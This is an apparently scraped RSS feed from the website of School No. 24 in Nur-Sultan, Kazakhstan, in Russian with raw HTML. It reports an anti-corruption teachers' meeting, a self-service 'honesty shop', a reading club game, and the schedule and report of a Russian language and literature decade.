Профилактика правонарушений, связанных с коррупцией;-Противодействие различным действиям, связанным с коррупцией. <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/4.jpg" alt="" width="307" height="240" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/5.jpg" alt="" width="298" height="229" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/6.jpg" alt="" width="280" height="240" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/7.jpg" alt="" width="294" height="240" /> Педагоги школы были ознакомлены с борьбой против коррупции, после доклада , бурное обсуждение среди учителей и важные вопросы. <img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1583925097050326.jpg" /> <div style="text-align:center;">В средней школе №24, г. Нур-Султан, </div><div style="text-align:center;">было проведено совещание по антикоррупции</div><div style="text-align:center;"> </div><div style="text-align:center;">Приняли участие-76 учителей</div><div style="text-align:center;">Дата: 06.11.19 г.</div><div style="text-align:center;">Время: 13.00</div> Сегодня, 06.11.19 г. в нашей школе было проведено собрание " Против коррупции". В данном мероприятии принял участие представитель регионального департамента Агентства по противодействию коррупции по городу Нур –Султан-Хайруллин Марат.С докладом о коррупции выступила учитель истории Казахстана - Болатбекова Раушан. Были затронуты темы общей политики, направленной на профилактику коррупции в стране.Он отметил, что коррупция является одной из самых серьезных проблем, которые в настоящее время негативно влияют на экономику страны. Любой человек показал, что должен знать свои права и знать все законы. Каждый учитель должен знать: - Совершенствование нормативной правовой базы правонарушений и борьбыс коррупцией;- Порядок привлечения к ответственности за правонарушения, связанные с коррупцией;- Профилактика правонарушений, связанных с коррупцией;-Противодействие различным действиям, связанным с коррупцией. <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/4.jpg" alt="" width="307" height="240" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/5.jpg" alt="" width="298" height="229" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/6.jpg" alt="" width="280" height="240" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/7.jpg" alt="" width="294" height="240" /> Педагоги школы были ознакомлены с борьбой против коррупции, после доклада , бурное обсуждение среди учителей и важные вопросы. 24mektepWed, 11 Mar 2020 17:06:29 +0600http://24.astana-bilim.kz/news/?pkid=1583925097050326Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1583925097050326«Адалдық дүкені» http://24.astana-bilim.kz/news/?pkid=1583924784616544<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1583924784616544.jpg" /> <div style="text-align:center;">Сведения о «Адалдық дүкені» </div><div style="text-align:center;">В средней школе №24 города Нур-Султан</div> С 3 февраля 2020 года в средней школе№24 г. Нур –Султан открыт «Адалдық дүкені» .Организована работа по самообслуживанию. В «Адалдық дүкені» учащиеся приобретают необходимые им товары и оставляют деньги за полученные товары в кассовые ящики. В магазине нет продавца, который контролирует покупателей.Цель проекта- развитие высокого антикоррупционного сознания и культуры среди учащихся, а также воспитание внутреннего добропорядочности, честности и формирование доверия друг к другу. <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/1.jpg" alt="" width="246" height="168" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/2.jpg" alt="" width="240" height="165" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/3.jpg" alt="" width="495" height="203" />Сладости " Адалдық дүкені " вызвали восхищение школьников.<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1583924784616544.jpg" /> <div style="text-align:center;">Сведения о «Адалдық дүкені» </div><div style="text-align:center;">В средней школе №24 города Нур-Султан</div> С 3 февраля 2020 года в средней школе№24 г. Нур –Султан открыт «Адалдық дүкені» .Организована работа по самообслуживанию. В «Адалдық дүкені» учащиеся приобретают необходимые им товары и оставляют деньги за полученные товары в кассовые ящики. В магазине нет продавца, который контролирует покупателей.Цель проекта- развитие высокого антикоррупционного сознания и культуры среди учащихся, а также воспитание внутреннего добропорядочности, честности и формирование доверия друг к другу. <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/1.jpg" alt="" width="246" height="168" /><img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/2.jpg" alt="" width="240" height="165" /> <img src="//cdn1.kdt.kz/files/sites/1383501249717933/files/%D0%B0%D0%B4%D0%B0%D0%BB%20%D1%83%D1%80%D0%BF%D0%B0%D0%BA/3.jpg" alt="" width="495" height="203" />Сладости " Адалдық дүкені " вызвали восхищение школьников.24mektepWed, 11 Mar 2020 17:03:29 +0600http://24.astana-bilim.kz/news/?pkid=1583924784616544Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1583924784616544Клуб любителей чтенияhttp://24.astana-bilim.kz/news/?pkid=1578488669784241<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1578488669784241.jpg" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%2001.jpg" alt="" width="132" height="78" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%2002.jpg" alt="" width="137" height="78" /> Клуб любителей чтения «Собеседник»- место встречи думающих и активных читателей- организован семиклассниками в СШ №24 г.Нур-Султан. Первая предновогодняя встреча книголюбов состоялась 24декабря 2019г. в 13.00 ч. Заседание прошло в форме интеллектуальной игры «Что? Где? Когда?». Ведущая Серік Аяжан и ее помощники Қайратұлы Талғар и Ерболатұлы Тілек подготовили интересные вопросы, на которые отвечали команды знатоков- учащиеся 7 «Б» класса. Не все оказалось «по зубам» командам, чувствовалось волнение участников игры, их желание стать победителями. Подумать было над чем! Не зря говорится: «Кто много читает, тот все знает».В конце заседания ребята поделились мнениями и написали свои предложения, используя стратегию «Две звезды+ пожелание». Больше читать, познавать,быть информационно грамотными- вот к чему стоит стремиться нашим школьникам! <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%201.jpg" alt="" width="132" height="78" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%202.jpg" alt="" width="132" height="78" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%203.jpg" alt="" width="132" height="78" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%204.jpg" alt="" width="132" height="78" /> Руководитель: Абилова Ш.А.,учитель русского языка и литературы.<img src="http://24.astana-bilim.kz/files/sites/1383501249717933/news/1578488669784241.jpg" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%2001.jpg" alt="" width="132" height="78" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%2002.jpg" alt="" width="137" height="78" /> Клуб любителей чтения «Собеседник»- место встречи думающих и активных читателей- организован семиклассниками в СШ №24 г.Нур-Султан. Первая предновогодняя встреча книголюбов состоялась 24декабря 2019г. в 13.00 ч. Заседание прошло в форме интеллектуальной игры «Что? Где? Когда?». Ведущая Серік Аяжан и ее помощники Қайратұлы Талғар и Ерболатұлы Тілек подготовили интересные вопросы, на которые отвечали команды знатоков- учащиеся 7 «Б» класса. Не все оказалось «по зубам» командам, чувствовалось волнение участников игры, их желание стать победителями. Подумать было над чем! Не зря говорится: «Кто много читает, тот все знает».В конце заседания ребята поделились мнениями и написали свои предложения, используя стратегию «Две звезды+ пожелание». Больше читать, познавать,быть информационно грамотными- вот к чему стоит стремиться нашим школьникам! <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%201.jpg" alt="" width="132" height="78" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%202.jpg" alt="" width="132" height="78" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%203.jpg" alt="" width="132" height="78" /> <img src="/files/sites/1383501249717933/files/%D0%9C%D0%98%D0%A4%20%D0%B0%D0%BF%D1%82%D0%B0%D0%BB%D1%8B%D2%93%D1%8B/sait%204.jpg" alt="" width="132" height="78" /> Руководитель: Абилова Ш.А.,учитель русского языка и литературы.24mektepWed, 08 Jan 2020 18:43:33 +0600http://24.astana-bilim.kz/news/?pkid=1578488669784241Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1578488669784241План работы декадыhttp://24.astana-bilim.kz/news/?pkid=1573965046192365 «Язык — это история народа. Язык — это путь цивилизации и культуры…» А. И. КупринС 11 по 22 ноября 2019 года в СШ № 24 проходит декада русского языка и литературы по теме: «Язык — это история народа. Язык — это путь цивилизации и культуры…» В ней принимают участие обучающиеся 2-11 классов и педагоги МО русского языка и литературы.Цель предметной недели: повысить мотивацию к изучению русского языка и литературы, пробудить интерес к изучению русской литературы; развивать творческие способности учащихся средствами изучаемых предметов; выявить одаренных детей и разработать перспективный план работы с ними.План проведения декады русского языка и литературы обсуждался на заседании МО (протокол №2 от 29.10.2019) , был согласован с заместителем директора по учебной работе, заместителем директора по учебно-воспитательной работе и утвержден директором школы: План работы декадыТема декады: «Язык — это история народа. Язык — это путь цивилизации и культуры…» Александр Иванович Куприн <table style="width:801px;"><tbody><tr><td style="width:56px;">Срок</td><td style="width:308px;"> </td><td style="width:68px;">класс</td><td style="width:116px;">Время</td><td style="width:107px;">Кабинет</td><td style="width:128px;">Ответственные</td></tr><tr><td style="width:56px;">11.11.19</td><td style="width:308px;">Торжественная линейка,посвященная открытию Декады русского языка</td><td style="width:68px;">8-11</td><td style="width:116px;">І смена9.25</td><td style="width:107px;">Спортзал</td><td style="width:128px;">Сагитова З.К.Тамабаева Ж.Б.Табарова К.Б.Рахпанова Ш.К.Ишев А.Э.</td></tr><tr><td style="width:56px;">11.11.2019</td><td style="width:308px;">Весёлая перемена.Русская народная игра «Лапта»</td><td style="width:68px;">2 класс</td><td style="width:116px;">ІІ смена15.25</td><td style="width:107px;">Фойе 3 этажа/новый корпус/</td><td style="width:128px;">Ишев А.Э.</td></tr><tr><td style="width:56px;">11.11.2019</td><td style="width:308px;">Конкурс плакатов на тему: «Знаменательные даты 2019-2020»</td><td style="width:68px;">8-10</td><td style="width:116px;">08.-12.11.2019 года</td><td style="width:107px;">фойе</td><td style="width:128px;">Тамабаева Ж.Б.Килибаева К.К.</td></tr><tr><td style="width:56px;">11.11.2019</td><td style="width:308px;">Конкурс рисунков (формат А3) на тему: «По следам сказочных героев»</td><td style="width:68px;">5-6</td><td style="width:116px;">08.-13.11.2019 года</td><td style="width:107px;">фойе</td><td style="width:128px;">Ишев А.Э.Рахпанова Ш.К.Сардарбекова Г.Г.</td></tr><tr><td style="width:56px;">11.11.2019</td><td style="width:308px;">Конкурс рисунков (формат А3) на тему: «Осень чудная пора!»</td><td style="width:68px;">7 классы</td><td style="width:116px;">08.-13.11.2019 года</td><td style="width:107px;">фойе</td><td style="width:128px;">Абилова Ш.А.Малдыбаева Р.Т.Умбетова Д.Б.</td></tr><tr><td style="width:56px;">12.11.2019</td><td style="width:308px;">Конкурс рисунков (формат А4) на тему: «Осень чудная пора!»</td><td style="width:68px;">2-4 классы</td><td style="width:116px;">12.-15.11.2019 года</td><td style="width:107px;">фойе</td><td style="width:128px;">Тамабаева Ж.Б.Абилова Ш.А.Рахметова Ш.К.</td></tr><tr><td style="width:56px;">12.11.19</td><td style="width:308px;">Викторина на тему: «А знаете ли вы?»</td><td style="width:68px;">6</td><td style="width:116px;">ІІсмена 15.25</td><td style="width:107px;">29</td><td style="width:128px;">Табарова К.Б.</td></tr><tr><td style="width:56px;">13.11.2019</td><td style="width:308px;">Открытый урок в 9 «А» классе на тему: «Береги честь смолоду»</td><td style="width:68px;">9 «А»</td><td style="width:116px;">І смена3 урок</td><td style="width:107px;">27</td><td style="width:128px;">Килибаева К.К.</td></tr><tr><td style="width:56px;">13.11.19</td><td style="width:308px;">Открытый урок в 3 «Г» классе на тему: «День и ночь-сутки прочь!»</td><td style="width:68px;">3 «Г»</td><td style="width:116px;">ІІ смена14.00</td><td style="width:107px;">4 этаж№2 кабинет.в новом корпусе</td><td style="width:128px;">Ишев А.</td></tr><tr><td style="width:56px;">14.11.2019 </td><td style="width:308px;">Конкурс поделок «Все краски осени»</td><td style="width:68px;">2-4 классы</td><td style="width:116px;">12.00-13.00</td><td style="width:107px;">Фойе 1 этажа</td><td style="width:128px;">Учителя МО русского языка и литературы</td></tr><tr><td style="width:56px;">14.11.2019</td><td style="width:308px;">Открытый урок в4 «В» классе на тему: «Добрым молодцам урок»</td><td style="width:68px;">4 «В»</td><td style="width:116px;">І смена4 урок </td><td style="width:107px;">27</td><td style="width:128px;">Тамабаева Ж.Б.</td></tr><tr><td style="width:56px;">14.11.2019</td><td style="width:308px;">Открытый урок в7 «Е» классе на тему: «Почему нужно изучать иностранные языки»</td><td style="width:68px;">7 «Е»</td><td style="width:116px;">І смена6 урок</td><td style="width:107px;">29</td><td style="width:128px;">Табарова К.Б.</td></tr><tr><td style="width:56px;">15.11.2019</td><td style="width:308px;">Конкурс чтецов в 5 -6 классах на тему: «Любимые страницы поэзии»</td><td style="width:68px;">5-6 классы</td><td style="width:116px;">ІІ смена15.40</td><td style="width:107px;">7</td><td style="width:128px;">Умбетова Д.Б.Рахпанова Ш.К.</td></tr><tr><td style="width:56px;">15.11.2019</td><td style="width:308px;">Открытый урок в 5 «А» классе на тему: «Вместе весело шагать!»</td><td style="width:68px;">3 урок</td><td style="width:116px;">ІІ смена3 урок15.40</td><td style="width:107px;">22</td><td style="width:128px;">Сардарбекова Г.Г.</td></tr><tr><td style="width:56px;">13.11.2019</td><td style="width:308px;">Внеклассное мероприятие на тему «Зарядка для ума»</td><td style="width:68px;">8 «Ә»</td><td style="width:116px;">І смена9.40</td><td style="width:107px;">22</td><td style="width:128px;">Сардарбекова Г.Г.</td></tr><tr><td style="width:56px;">18.11.2019</td><td style="width:308px;">Внеклассное мероприятиеПоэтический салон на тему: «Осень-чудная пора»</td><td style="width:68px;">7 «Б», «Г»</td><td style="width:116px;">16.25</td><td style="width:107px;">Актовый зал</td><td style="width:128px;">Абилова Ш.А.</td></tr><tr><td style="width:56px;">19.11.2019</td><td style="width:308px;">Открытый урок на тему «Друзья познаются в беде»</td><td style="width:68px;">5 «В»</td><td style="width:116px;">ІІ смена2 урок</td><td style="width:107px;">27</td><td style="width:128px;">Рахпанова Ш.К.</td></tr><tr><td style="width:56px;">19.11.2019</td><td style="width:308px;">Открытый урок на тему «Друзья познаются в беде»</td><td style="width:68px;">5 «А»</td><td style="width:116px;">ІІ смена2 урок </td><td style="width:107px;">28</td><td style="width:128px;">Малдыбаева Р.Т.</td></tr><tr><td style="width:56px;">19.11.2019</td><td style="width:308px;">Внеклассное мероприятие на тему: «Говорим и пишем правильно»</td><td style="width:68px;">8 урок</td><td style="width:116px;">І смена13.30</td><td style="width:107px;">27</td><td style="width:128px;">Ишев А.Э.</td></tr><tr><td style="width:56px;">20.11.2019</td><td style="width:308px;">Вечер поэзии «Всё начинается с любви»</td><td style="width:68px;">9,11 классы</td><td style="width:116px;">17.00</td><td style="width:107px;">30</td><td style="width:128px;">Табарова К.Б.</td></tr><tr><td style="width:56px;">21.11.2019</td><td style="width:308px;">Открытый урок в 5 «Ж» классе на тему: «Солнце русской поэзии»</td><td style="width:68px;">5 «Ж»</td><td style="width:116px;">І смена 08.45</td><td style="width:107px;">7</td><td style="width:128px;">Умбетова Д.Б.</td></tr><tr><td style="width:56px;">21.11.2019</td><td style="width:308px;">Открытый урок в 3 «В» классе на тему: «Круглый год»</td><td style="width:68px;">3 «В»</td><td style="width:116px;">ІІ смена 3 урок</td><td style="width:107px;">29</td><td style="width:128px;">Абилова Ш.А.</td></tr><tr><td style="width:56px;">21.11.2019</td><td style="width:308px;">Внеклассное мероприятие «Союз двух гениев»</td><td style="width:68px;">7 классы</td><td style="width:116px;">12.00</td><td style="width:107px;">Актовый зал</td><td style="width:128px;">Малдыбаева Р.Т.</td></tr><tr><td style="width:56px;">22.11.2019</td><td style="width:308px;">Посещение драмтеатраПостановка «Снежная королева»</td><td style="width:68px;">5-8</td><td style="width:116px;">19.00</td><td style="width:107px;">Драмтеатр имени М.Горького</td><td style="width:128px;">Учителя-предметники</td></tr><tr><td style="width:56px;">22.11.2019</td><td style="width:308px;">Внеклассное мероприятие «Пушкинский бал-2019»</td><td style="width:68px;">9-11</td><td style="width:116px;">11.00</td><td style="width:107px;">Актовый залСпортзал</td><td style="width:128px;">Тамабаева Ж.Б.Килибаева К.К.</td></tr><tr><td style="width:56px;">22.11.2019</td><td style="width:308px;">Закрытие Декады.Подведение итогов</td><td style="width:68px;"> </td><td style="width:116px;">13.00</td><td style="width:107px;">Актовый зал</td><td style="width:128px;">Умбетова Д.Б.Малдыбаева Р.Т.Абилова Ш.А.Килибаева К.КСардарбекова Г.Г.</td></tr></tbody></table> Все мероприятия этой недели проведены согласно составленному плану. При подготовке мероприятий учителями русского языка и литературы учитывались интересы обучающихся, их индивидуальные особенности, креативные способности. Были использованы компьютерные презентации, схемы, таблицы, стратегии обновленного содержания образования. <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/1.jpg" alt="" width="150" height="183" /> Каждый педагог старался достичь поставленной цели в формировании познавательной мотивации обучения, расширения кругозора детей, воспитании ответственности, чувства взаимопомощи, товарищества. <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/2.jpg" alt="" width="150" height="250" /> Открылась декада русского языка и литературы 11.11.2019 года торжественной линейкой, которая была организована учителями МО и учащимися 9 «А» класса. Были приглашены как учащиеся старшего звена. «Календарь знаменательных дат» <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/3.jpg" alt="" width="250" height="188" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/4.jpg" alt="" width="250" height="187" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/6.jpg" alt="" width="250" height="156" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/5.jpg" alt="" width="250" height="172" /> Также учителями были проведены конкурсы рисунков «По следам сказок», стенгазет по теме: «Календарь знаменательных дат», презентаций и буклетов на тему: «Все краски осени». <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/7.jpg" alt="" width="300" height="383" /> Учитель русского языка и литературы К.К.Килибаева провела открытый урок в 9 «А» классе по теме: «Береги честь смолоду» (отрывок из повести «Капитанская дочка» А.С Пушкина) Учитель знает необходимый материал; опыт проведения предыдущих уроков и урок показывает, что учитель может выстроить диалог с классом, а также организовать групповую работу. В результате работы на уроке учащиеся поняли, как трактует А.С. Пушкин понятие честь, объяснили, что такое честь и человеческое достоинство для разных персонажей «Капитанской дочки».Учитель воспитывала стремление следовать идеалам чести и тем самым прививала интерес к творчеству А.С. Пушкина. Поставленные цели урока в основном были достигнуты, сформировано представление о понятиях чести и долга и о пушкинской трактовке этих понятий, выявлены основные представления персонажей «Капитанской дочки» о чести. Однако работа над образами персонажей была проведена с разной степенью эффективности, что связано, в первую очередь, с нехваткой времени, а также с нечёткой формулировкой вопросов в ряде случаев.На уроке были реализованы следующие дидактические принципы.Принцип преемственности, последовательности и систематичности. Рефлексия прошла с применением шести шляп мышления. <div style="text-align:center;"> Фрагменты урока 9 «А» класса «Береги честь смолоду» А.С Пушкина</div><div style="text-align:center;"> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/8.jpg" alt="" width="350" height="217" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/9.jpg" alt="" width="350" height="211" /></div> Рефлексия урока.Шесть шляп мышления <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/10.jpg" alt="" width="350" height="226" /> Создала благоприятную психологическую атмосферу учитель русского языка и литературы Тамабаева Жанна Болысбековна. Стадия вызова Звучит мелодичная музыка «В гостях у сказки».Учащиеся 4 «В» класса после просмотра видео определяют тему: «Сказка» .Таким образом, раскрывается тема урока и осуществляется мотивация учащихся к восприятию нового материала.Очень хорошо, активно работали:Мейірбек, Ақтілек,Алихсан,Нуржан,Ескендір,Досымжан. <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/11.jpg" alt="" width="350" height="263" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/12.jpg" alt="" width="352" height="264" /> В рамках декады МО был проведен конкурс чтецов "Любимые страницы поэзии" среди учащихся 5-7 классов.Ответственными за проведение праздника: Умбетова Д.Б.,Рахпанова Ш.К. Все ребята очень старались прочитать свое стихотворение выразительно и ярко, как настоящие артисты. На конкурсе прозвучали стихи разных поэтов: русских классиков (А.С. Пушкина,М.Ю.Лермонтова, К.Бальмонт, С.Михалков, А.Барто и др. все стихи были посвящены волшебному миру детства. Путешествовать по стране поэзии ребятам помог Кот Ученый, который пришел из Лукоморья . Оценивали артистов по 5-ти бальной системе и по следующим критериям: -знание текста; -интонационная выразительность речи; -артистизм; -использование атрибутов и соответствие костюма содержанию стиха. Учащимся очень понравилось мероприятие. <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/13.jpg" alt="" width="350" height="197" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/14.jpg" alt="" width="350" height="197" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/15.jpg" alt="" width="350" height="197" /> <img src="/files/sites/1383501249717933/files/%D1%80%D1%83%D1%81%D1%81%20%D0%B4%D0%B5%D0%BA%D0%B0%D0%B4%D0%B0/16.jpg" alt="" width="350" height="197" /> Декада русского языка и литературы проходит организованно, в атмосфере творчества. Учащихся показывают, что особый интерес у учащихся вызвали необычные формы уроков (исследовательские уроки, гостиные), выставки творческих работ (рисунков, стенгазет, буклетов).Учителя МО русского языка и литературы демонстрируют свой опыт коллегам, делятся методическими находками. МО русского языка и литературы Тамабаева Ж.Б. «Язык — это история народа. Язык — это путь цивилизации и культуры…» А. И. КупринС 11 по 22 ноября 2019 года в СШ № 24 проходит декада русского языка и литературы по теме: «Язык — это история народа. Язык — это путь цивилизации и культуры…» В ней принимают участие обучающиеся 2-11 классов и педагоги МО русского языка и литературы.Цель предметной недели: повысить мотивацию к изучению русского языка и литературы, пробудить интерес к изучению русской литературы; развивать творческие способности учащихся средствами изучаемых предметов; выявить одаренных детей и разработать перспективный план работы с ними.План проведения декады русского языка и литературы обсуждался на заседании МО (протокол №2 от 29.10.2019) , был согласован с заместителем директора по учебной работе, заместителем директора по учебно-воспитательной работе и утвержден директором школы: План работы декадыТема декады: «Язык — это история народа. Язык — это путь цивилизации и культуры…» Александр Иванович Куприн <table style="width:801px;"><tbody><tr><td style="width:56px;">Срок</td><td style="width:308px;"> </td><td style="width:68px;">класс</td><td style="width:116px;">Время</td><td style="width:107px;">Кабинет</td><td style="width:128px;">Ответственные</td></tr><tr><td style="width:56px;">11.11.19</td><td style="width:308px;">Торжественная линейка,посвященная открытию Декады русского языка</td><td style="width:68px;">8-11</td><td style="width:116px;">І смена9.25</td><td style="width:107px;">Спортзал</td><td style="width:128px;">Сагитова З.К.Тамабаева Ж.Б.Табарова К.Б.Рахпанова Ш.К.Ишев А.Э.</td></tr><tr><td style="width:56px;">11.11.2019</td><td style="width:308px;">Весёлая перемена.Русская народная игра «Лапта»</td><td style="width:68px;">2 класс</td><td style="width:116px;">ІІ смена15.25</td><td style="width:107px;">Фойе 3 этажа/новый корпус/</td><td style="width:128px;">Ишев А.Э.</td></tr><tr><td style="width:56px;">11.11.2019</td><td style="width:308px;">Конкурс плакатов на тему: «Знаменательные даты 2019-2020»</td><td style="width:68px;">8-10</td><td style="width:116px;">08.-12.11.2019 года</td><td style="width:107px;">фойе</td><td style="width:128px;">Тамабаева Ж.Б.Килибаева К.К.</td></tr><tr><td style="width:56px;">11.11.2019</td><td style="width:308px;">Конкурс рисунков (формат А3) на тему: «По следам сказочных героев»</td><td style="width:68px;">5-6</td><td style="width:116px;">08.-13.11.2019 года</td><td style="width:107px;">фойе</td><td style="width:128px;">Ишев А.Э.Рахпанова Ш.К.Сардарбекова Г.Г.</td></tr><tr><td style="width:56px;">11.11.2019</td><td style="width:308px;">Конкурс рисунков (формат А3) на тему: «Осень чудная пора!»</td><td style="width:68px;">7 классы</td><td style="width:116px;">08.-13.11.2019 года</td><td style="width:107px;">фойе</td><td style="width:128px;">Абилова Ш.А.Малдыбаева Р.Т.Умбетова Д.Б.</td></tr><tr><td style="width:56px;">12.11.2019</td><td style="width:308px;">Конкурс рисунков (формат А4) на тему: «Осень чудная пора!»</td><td style="width:68px;">2-4 классы</td><td style="width:116px;">12.-15.11.2019 года</td><td style="width:107px;">фойе</td><td style="width:128px;">Тамабаева Ж.Б.Абилова Ш.А.Рахметова Ш.К.</td></tr><tr><td style="width:56px;">12.11.19</td><td style="width:308px;">Викторина на тему: «А знаете ли вы?»</td><td style="width:68px;">6</td><td style="width:116px;">ІІсмена 15.25</td><td style="width:107px;">29</td><td style="width:128px;">Табарова К.Б.</td></tr><tr><td style="width:56px;">13.11.2019</td><td style="width:308px;">Открытый урок в 9 «А» классе на тему: «Береги честь смолоду»</td><td style="width:68px;">9 «А»</td><td style="width:116px;">І смена3 урок</td><td style="width:107px;">27</td><td style="width:128px;">Килибаева К.К.</td></tr><tr><td style="width:56px;">13.11.19</td><td style="width:308px;">Открытый урок в 3 «Г» классе на тему: «День и ночь-сутки прочь!»</td><td style="width:68px;">3 «Г»</td><td style="width:116px;">ІІ смена14.00</td><td style="width:107px;">4 этаж№2 кабинет.в новом корпусе</td><td style="width:128px;">Ишев А.</td></tr><tr><td style="width:56px;">14.11.2019 </td><td style="width:308px;">Конкурс поделок «Все краски осени»</td><td style="width:68px;">2-4 классы</td><td style="width:116px;">12.00-13.00</td><td style="width:107px;">Фойе 1 этажа</td><td style="width:128px;">Учителя МО русского языка и литературы</td></tr><tr><td style="width:56px;">14.11.2019</td><td style="width:308px;">Открытый урок в4 «В» классе на тему: «Добрым молодцам урок»</td><td style="width:68px;">4 «В»</td><td style="width:116px;">І смена4 урок </td><td style="width:107px;">27</td><td style="width:128px;">Тамабаева Ж.Б.</td></tr><tr><td style="width:56px;">14.11.2019</td><td style="width:308px;">Открытый 